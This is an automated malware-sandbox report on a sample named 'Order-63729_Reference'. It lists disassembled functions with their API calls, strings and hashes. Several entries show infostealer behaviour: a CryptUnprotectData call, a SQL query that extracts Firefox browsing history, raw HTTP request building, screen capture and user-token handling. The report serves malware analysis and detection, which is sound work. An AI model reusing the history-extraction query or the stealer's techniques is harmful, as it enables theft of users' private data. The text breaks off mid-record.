Function 00403B70 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 00403B77

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: FreeString
String ID:
API String ID: 3341692771-0
Opcode ID: d497d8846639aaf179110225e0e01da4904a3c484c5354391378440b3d8208c6
Instruction ID: 1013a877abc153affaca16d078552d4a9b2fa22a8452acd7ddfc898bd50da8eb
Opcode Fuzzy Hash: d497d8846639aaf179110225e0e01da4904a3c484c5354391378440b3d8208c6
Instruction Fuzzy Hash: A6A011A800020288CB0A3A2A00008232A3AAFC8308388C0BEA2002A2A28A3E88008028

Function 00401464 Relevance: 1.3, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(FFFFFFFF,00000000,00008000), ref: 004014C8

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 8487bf62bb6a208eaaff7636571d42378b79c596feb4fea81bccde4a3e3226a5
Instruction ID: bdb72b2e4f8392e9a4367bae485781504843fed35f2e07c9585e1bdde9d69fdb
Opcode Fuzzy Hash: 8487bf62bb6a208eaaff7636571d42378b79c596feb4fea81bccde4a3e3226a5
Instruction Fuzzy Hash: 2621F770608710AFC710DF19C8C0A5BBBE5EF85760F14C96AE4989B3A5D378EC41CB9A

Function 004015B0 Relevance: 1.3, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(00000000,00000000,00004000,?,0000000C,?,-00000008,00003FFB,00401817), ref: 0040160A

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 3bfc56920760e5136ff02f6c94c05418cc55e2be2e85163925a7dedac6e01034
Instruction ID: 104411973d7795ae4b76250d277c099600c8cf09cd5a8da0f47b470ca133b76a
Opcode Fuzzy Hash: 3bfc56920760e5136ff02f6c94c05418cc55e2be2e85163925a7dedac6e01034
Instruction Fuzzy Hash: 82012B726443105FC3109F28DDC0E6A77E5DBC5324F19493EDA85AB391D33B6C0187A8

Function 00407268 Relevance: 1.3, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(000000FF,0040726A), ref: 00407260

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 0de396ab8b4ab150699db8875a7c94bc97bb79a2768214bb77f2aee91b859061
Instruction ID: be2e1885d1cd6db3023e413391b9ef5afbaac7d1908e8d38cf697eb1b5ccea9a
Opcode Fuzzy Hash: 0de396ab8b4ab150699db8875a7c94bc97bb79a2768214bb77f2aee91b859061
Instruction Fuzzy Hash: 74B01270B04000EFCB00DBACC880D5973F5EB8C30071040A1B814E3220CB30BD009F1B

Non-executed Functions

Function 00404C15 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 41threadCOMMON

Download Yara Rule

APIs

Part of subcall function 00402A94: GetKeyboardType.USER32(00000000), ref: 00402A99
Part of subcall function 00402A94: GetKeyboardType.USER32(00000001), ref: 00402AA5

GetCommandLineA.KERNEL32 ref: 00404C7B
GetVersion.KERNEL32 ref: 00404C8F
GetVersion.KERNEL32 ref: 00404CA0
GetCurrentThreadId.KERNEL32 ref: 00404CDC

Part of subcall function 00402AC4: RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402AE6
Part of subcall function 00402AC4: RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,00402B35,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402B19
Part of subcall function 00402AC4: RegCloseKey.ADVAPI32(?,00402B3C,00000000,?,00000004,00000000,00402B35,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402B2F

GetThreadLocale.KERNEL32 ref: 00404CBC

Part of subcall function 00404B4C: GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00404BB2), ref: 00404B72

Strings

`7m, xrefs: 00404C80

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: KeyboardLocaleThreadTypeVersion$CloseCommandCurrentInfoLineOpenQueryValue
String ID: `7m
API String ID: 3734044017-345157603
Opcode ID: f73d26185257f265a94a8c873c422c92913b77d5a1c3acb43c070b40e0b1affb
Instruction ID: 5abcdb9b335a34f550fa88bee7db3b3d0fbbcc1143cdfce7353ba034968c2f47
Opcode Fuzzy Hash: f73d26185257f265a94a8c873c422c92913b77d5a1c3acb43c070b40e0b1affb
Instruction Fuzzy Hash: C30112B0895341D9E714BFF29C863893E60AB89348F11C53FD2506A2F2D77D44449BAE

Function 004094C4 Relevance: 3.0, APIs: 2, Instructions: 33encryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(00000000,00000000,00000000,00000000,00000000,00000001,?), ref: 004094E5
LocalFree.KERNEL32(?), ref: 0040950A

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: CryptDataFreeLocalUnprotect
String ID:
API String ID: 1561624719-0
Opcode ID: 7af865200370c71dc1aeec28a3f245545c66ce1c623f0b7719112b5aa0c6dde3
Instruction ID: 8d19d854ff734d332b2dbdc515c77238868d08609e2067f50d6fa790567ddd23
Opcode Fuzzy Hash: 7af865200370c71dc1aeec28a3f245545c66ce1c623f0b7719112b5aa0c6dde3
Instruction Fuzzy Hash: 85F0B4B17043007BD7009E5ACC81B4BB7D8AB84710F10893EB558DB2D2D774D8054B5A

Function 00404B4C Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(?,00001004,?,00000007,00000000,00404BB2), ref: 00404B72

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: b9dbded4df740f95a366ffb3c725a865bd77cd50a76c54eebdafbaeb84b8c7b9
Instruction ID: e83552b6022aae669f2d5c27f359814ee46eaea323ddb5c136f95371eef2deca
Opcode Fuzzy Hash: b9dbded4df740f95a366ffb3c725a865bd77cd50a76c54eebdafbaeb84b8c7b9
Instruction Fuzzy Hash: 0FF0A470A04209AFEB15DE91CC41A9EF7BAF7C4714F40847AA610762C1E7B86A048698

Function 00407A34 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2a2d129c8543363c052d008b34330d58e57021dec0e7df0c1a6226ed5b22a4b
Instruction ID: 25aae2582423029eb19f4489c776d3d70638aac6ce1da4afce0c8a8e650509f3
Opcode Fuzzy Hash: c2a2d129c8543363c052d008b34330d58e57021dec0e7df0c1a6226ed5b22a4b
Instruction Fuzzy Hash:

Function 00418124 Relevance: 33.5, APIs: 10, Strings: 9, Instructions: 269libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,00418535,?,00000000,00000000,?,00418B28,00000000,?,?,?,?,?,0041B0FC,0000044D), ref: 004181B0
LoadLibraryA.KERNEL32(00000000,00000000,00000000,00418535,?,00000000,00000000,?,00418B28,00000000,?,?,?,?,?,0041B0FC), ref: 004181C4
GetProcAddress.KERNEL32(00000000,-0000000C), ref: 004181D8
GetProcAddress.KERNEL32(00000000,-00000017), ref: 004181EF
GetProcAddress.KERNEL32(00000000,-00000025), ref: 00418206
GetProcAddress.KERNEL32(00000000,-0000002C), ref: 0041821D
GetProcAddress.KERNEL32(00000000,-00000031), ref: 00418234
GetProcAddress.KERNEL32(00000000,-00000036), ref: 0041824B
GetProcAddress.KERNEL32(00000000,-0000003C), ref: 00418262
GetProcAddress.KERNEL32(00000000,-00000044), ref: 00418279

Strings

Connection: close, xrefs: 004183A5
Host: , xrefs: 00418398
Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1), xrefs: 004183AF
Content-Length: , xrefs: 004183B9
wsock32.dll, xrefs: 0041819D
, xrefs: 004184B6
HTTP/1.0, xrefs: 00418393
, xrefs: 004183FE
User-agent: , xrefs: 004183AA

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID: $$ HTTP/1.0$Connection: close$Content-Length: $Host: $Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)$User-agent: $wsock32.dll
API String ID: 384173800-3355491746
Opcode ID: 447bc90b094ad6630a41df1a26737c259296e5cff920802da588b0ecfe34b4d8
Instruction ID: acd65350bdfe250b2cabb462dd412f1b2f53023e341749034ab9d15be0839763
Opcode Fuzzy Hash: 447bc90b094ad6630a41df1a26737c259296e5cff920802da588b0ecfe34b4d8
Instruction Fuzzy Hash: 85B1DFB1940219AFDB11EF65CC86BDF7BB8EF44306F50407BF504B2291DB789A458E58

Function 00407DD0 Relevance: 22.8, APIs: 6, Strings: 7, Instructions: 100libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407EEA,?,-00000001,0041B0FC,0000044D), ref: 00407E00
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00407E06
LoadLibraryA.KERNEL32(wtsapi32.dll,WTSQueryUserToken,00000000,kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407EEA,?,-00000001,0041B0FC,0000044D), ref: 00407E17
GetProcAddress.KERNEL32(00000000,wtsapi32.dll), ref: 00407E1D
LoadLibraryA.KERNEL32(userenv.dll,CreateEnvironmentBlock,00000000,wtsapi32.dll,WTSQueryUserToken,00000000,kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407EEA,?,-00000001,0041B0FC,0000044D), ref: 00407E2E
GetProcAddress.KERNEL32(00000000,userenv.dll), ref: 00407E34

Part of subcall function 00402754: GetModuleFileNameA.KERNEL32(00000000,?,00000105,-00000001,0041B0FC,0000044D,00419E83,?), ref: 00402778

Strings

D, xrefs: 00407E5D
kernel32.dll, xrefs: 00407DFB
wtsapi32.dll, xrefs: 00407E12
userenv.dll, xrefs: 00407E29
CreateEnvironmentBlock, xrefs: 00407E24
WTSGetActiveConsoleSessionId, xrefs: 00407DF6
WTSQueryUserToken, xrefs: 00407E0D

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc$FileModuleName
String ID: CreateEnvironmentBlock$D$WTSGetActiveConsoleSessionId$WTSQueryUserToken$kernel32.dll$userenv.dll$wtsapi32.dll
API String ID: 2206896924-1825016774
Opcode ID: 3541d8832b36f0892a1d27c611b6b39943f35115fd077f71142f5b0334879507
Instruction ID: 099c1664e0e1cd81917be229cd1a82c6e96495822271a1ae00088806601eb9d9
Opcode Fuzzy Hash: 3541d8832b36f0892a1d27c611b6b39943f35115fd077f71142f5b0334879507
Instruction Fuzzy Hash: C2312BB1A443086EDB00EBB5CC42E9E7BBCAB48754F200576F504F72C1DA78AE058A68

Function 00407DD4 Relevance: 22.8, APIs: 6, Strings: 7, Instructions: 98libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407EEA,?,-00000001,0041B0FC,0000044D), ref: 00407E00
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 00407E06
LoadLibraryA.KERNEL32(wtsapi32.dll,WTSQueryUserToken,00000000,kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407EEA,?,-00000001,0041B0FC,0000044D), ref: 00407E17
GetProcAddress.KERNEL32(00000000,wtsapi32.dll), ref: 00407E1D
LoadLibraryA.KERNEL32(userenv.dll,CreateEnvironmentBlock,00000000,wtsapi32.dll,WTSQueryUserToken,00000000,kernel32.dll,WTSGetActiveConsoleSessionId,00000000,00407EEA,?,-00000001,0041B0FC,0000044D), ref: 00407E2E
GetProcAddress.KERNEL32(00000000,userenv.dll), ref: 00407E34

Part of subcall function 00402754: GetModuleFileNameA.KERNEL32(00000000,?,00000105,-00000001,0041B0FC,0000044D,00419E83,?), ref: 00402778

Strings

D, xrefs: 00407E5D
kernel32.dll, xrefs: 00407DFB
wtsapi32.dll, xrefs: 00407E12
userenv.dll, xrefs: 00407E29
CreateEnvironmentBlock, xrefs: 00407E24
WTSGetActiveConsoleSessionId, xrefs: 00407DF6
WTSQueryUserToken, xrefs: 00407E0D

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: AddressLibraryLoadProc$FileModuleName
String ID: CreateEnvironmentBlock$D$WTSGetActiveConsoleSessionId$WTSQueryUserToken$kernel32.dll$userenv.dll$wtsapi32.dll
API String ID: 2206896924-1825016774
Opcode ID: 86478b50a7e8737c81cdd02ec66c25257b217c2bcec2324e0f8070e42a551c88
Instruction ID: f930562a739e9fb19de45fac1d58899ce59ec74f5e2b45b4c14d1fb7312bbdc9
Opcode Fuzzy Hash: 86478b50a7e8737c81cdd02ec66c25257b217c2bcec2324e0f8070e42a551c88
Instruction Fuzzy Hash: 28312EB1E443096EDB00EBB5CC42E9E7BFCAB48754F200576F514F72C1DA78AE058A58

Function 004178B4 Relevance: 18.2, APIs: 12, Instructions: 162COMMON

Download Yara Rule

APIs

73A0A570.USER32(00000000,?,00000000,0041B0FC,00000000,?,00419475,00000000,00000001,?,image/jpeg,00000032,00000000,?,?,?), ref: 00417994
73A14C40.GDI32(00000000,00000000,?,00000000,0041B0FC,00000000,?,00419475,00000000,00000001,?,image/jpeg,00000032,00000000,?,?), ref: 0041799D
73A14C00.GDI32(00000000,0041A69E,?,00000000,00000000,?,00000000,0041B0FC,00000000,?,00419475,00000000,00000001,?,image/jpeg,00000032), ref: 004179AD
SelectObject.GDI32(00000000,00000000), ref: 004179B6
73A14D40.GDI32(00000000,00000000,00000000,0041A69E,?,00000000,00000000,?,00CC0020,00000000,0041A69E,?,00000000,00000000,?,00000000), ref: 004179D6
CreateStreamOnHGlobal.COMBASE(00000000,000000FF,00000000), ref: 004179E8
GetHGlobalFromStream.COMBASE(?,?), ref: 00417A76
GlobalLock.KERNEL32(?), ref: 00417A80
GlobalUnlock.KERNEL32(?), ref: 00417AA2
DeleteObject.GDI32(00000000), ref: 00417AA8
DeleteDC.GDI32(00000000), ref: 00417AAE
73A0A480.USER32(00000000,00000000), ref: 00417AB6

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: Global$DeleteObjectStream$A480A570CreateFromLockSelectUnlock
String ID:
API String ID: 2699471203-0
Opcode ID: c6339665ace03b91d436a6d8c1ab4105ac859371922734f0929d45322917c03e
Instruction ID: 9ea5443061d6a736e16c7905b4946b830ee6406ef7c7b01cecb07d86951751fb
Opcode Fuzzy Hash: c6339665ace03b91d436a6d8c1ab4105ac859371922734f0929d45322917c03e
Instruction Fuzzy Hash: 9B513CB1944208AFDB10EFA5DC85BEF7BF8AB48305F24402AF614E62D1D7789985CB58

Function 0041256C Relevance: 12.5, APIs: 3, Strings: 4, Instructions: 222fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 004125B0
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00412870,?,.tmp,?,?,00000000,004127AF,?,00000000,00412839,?,00000000), ref: 0041262C
DeleteFileW.KERNEL32(00000000), ref: 004127CD

Strings

SELECT DATETIME(moz_historyvisits.visit_date/1000000, "unixepoch", "localtime"),moz_places.title,moz_places.url FROM moz_places, moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id ORDER By moz_historyvisits.visit_date DESC LIMIT 0, 10000, xrefs: 00412696
, xrefs: 00412760
%TEMP%, xrefs: 004125EB
.tmp, xrefs: 004125CB

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: File$CopyCountDeleteTick
String ID: $%TEMP%$.tmp$SELECT DATETIME(moz_historyvisits.visit_date/1000000, "unixepoch", "localtime"),moz_places.title,moz_places.url FROM moz_places, moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id ORDER By moz_historyvisits.visit_date DESC LIMIT 0, 10000
API String ID: 2381671008-462058183
Opcode ID: ab45f6516b0e70ffe1e0ad53da129768da78585fda4937db2b8d763c187c910b
Instruction ID: 880bf71673710542150f6ebe4433b3a02274b147136189202950d85bd83b2515
Opcode Fuzzy Hash: ab45f6516b0e70ffe1e0ad53da129768da78585fda4937db2b8d763c187c910b
Instruction Fuzzy Hash: A9810C71A00109AFDB00EF95DD82ADEBBB9EF48314F504536F410F72A2DB78AE558B58

Function 00403368 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,0041A69E,00000000,?,00403436,?,?,?,00000002,004034D6,004025CB,0040260E,?,00000000), ref: 004033A1
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,0041A69E,00000000,?,00403436,?,?,?,00000002,004034D6,004025CB,0040260E), ref: 004033A7
GetStdHandle.KERNEL32(000000F5,004033F0,00000002,0041A69E,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,0041A69E,00000000,?,00403436), ref: 004033BC
WriteFile.KERNEL32(00000000,000000F5,004033F0,00000002,0041A69E,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,0041A69E,00000000,?,00403436), ref: 004033C2
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 004033E0

Strings

Error, xrefs: 004033D4
Runtime error at 00000000, xrefs: 0040339A, 004033D9

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 0a4cf132a8cfaff0af1c5c0ffc7350712d2b813a546a0a59a711f5fd8d927d65
Instruction ID: 272384808b0d926620c8a29f01af81f970e1c010559b5e4fcbf7d036ebb79ccd
Opcode Fuzzy Hash: 0a4cf132a8cfaff0af1c5c0ffc7350712d2b813a546a0a59a711f5fd8d927d65
Instruction Fuzzy Hash: F5F09670AC03847AE620A7915DCAF9B2A5C8708F15F20867BB660744E5DBBC55C4525D

Function 00402668 Relevance: 11.4, APIs: 9, Instructions: 109COMMON

Download Yara Rule

APIs

CharNextA.USER32(00000000,?,00000000,00000000,?,0040279A,-00000001,0041B0FC,0000044D,00419E83,?), ref: 0040269F
CharNextA.USER32(00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,0041B0FC,0000044D,00419E83,?), ref: 004026A9
CharNextA.USER32(00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,0041B0FC,0000044D,00419E83,?), ref: 004026C6
CharNextA.USER32(00000000,?,00000000,00000000,?,0040279A,-00000001,0041B0FC,0000044D,00419E83,?), ref: 004026D0
CharNextA.USER32(00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,0041B0FC,0000044D,00419E83,?), ref: 004026F9
CharNextA.USER32(00000000,00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,0041B0FC,0000044D,00419E83,?), ref: 00402703
CharNextA.USER32(00000000,00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,0041B0FC,0000044D,00419E83,?), ref: 00402727
CharNextA.USER32(00000000,00000000,?,00000000,00000000,?,0040279A,-00000001,0041B0FC,0000044D,00419E83,?), ref: 00402731

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: CharNext
String ID:
API String ID: 3213498283-0
Opcode ID: b7f289542d20783a7460a3fa223e5cf14214bb8296ee11ce479d6e83d044995d
Instruction ID: 5b28f76bfa796ab2381ca360e83c3cb8d2614de50686c14b6561fe7fc9f0b368
Opcode Fuzzy Hash: b7f289542d20783a7460a3fa223e5cf14214bb8296ee11ce479d6e83d044995d
Instruction Fuzzy Hash: B021E7546043951ADB31297A0AC877B6B894A5B304B68087BD0C1BB3D7D4FE4C8B832D

Function 00410900 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 197fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00410945
CopyFileW.KERNEL32(00000000,00000000,000000FF,?,00410B9C,?,.tmp,?,?,00000000,00410AE8,?,00000000,00410B63,?,00000000), ref: 004109C1
DeleteFileW.KERNEL32(00000000), ref: 00410B06

Strings

.tmp, xrefs: 00410960
%TEMP%, xrefs: 00410980

Memory Dump Source

Source File: 00000004.00000002.2160056023.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2160040377.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160075678.000000000041B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2160090925.000000000041E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Order-63729_Reference.jbxd

Yara matches

Similarity

API ID: File$CopyCountDeleteTick
String ID: %TEMP%$.tmp
API String ID: 2381671008-3650661790
Opcode ID: 154ab7e33e9d9feed099190b9dd99071f1f863b4a397750f734a2d1f86d0d866
Instruction ID: 1e08b77d5c93ddd244bb37ca777f3c967e0d5c0e96542229b92685f54af29c93
Opcode Fuzzy Hash: 154ab7e33e9d9feed099190b9dd99071f1f863b4a397750f734a2d1f86d0d866
Instruction Fuzzy Hash: DA710B71A04109AFDB00EF95DC41EDEBBB9EF48318F104476F514F72A2DA78AE458B58

Function 00402AC4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402AE6
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,00402B35,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402B19
RegCloseKey.ADVAPI32(?,00402B3C,00000000,?,00000004,00000000,00402B35,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 00402B2F

Strings

FPUMaskValue, xrefs: 00402B10
SOFTWARE\Borland\Delphi\RTL, xrefs: 00402ADC

Memory Dump Source

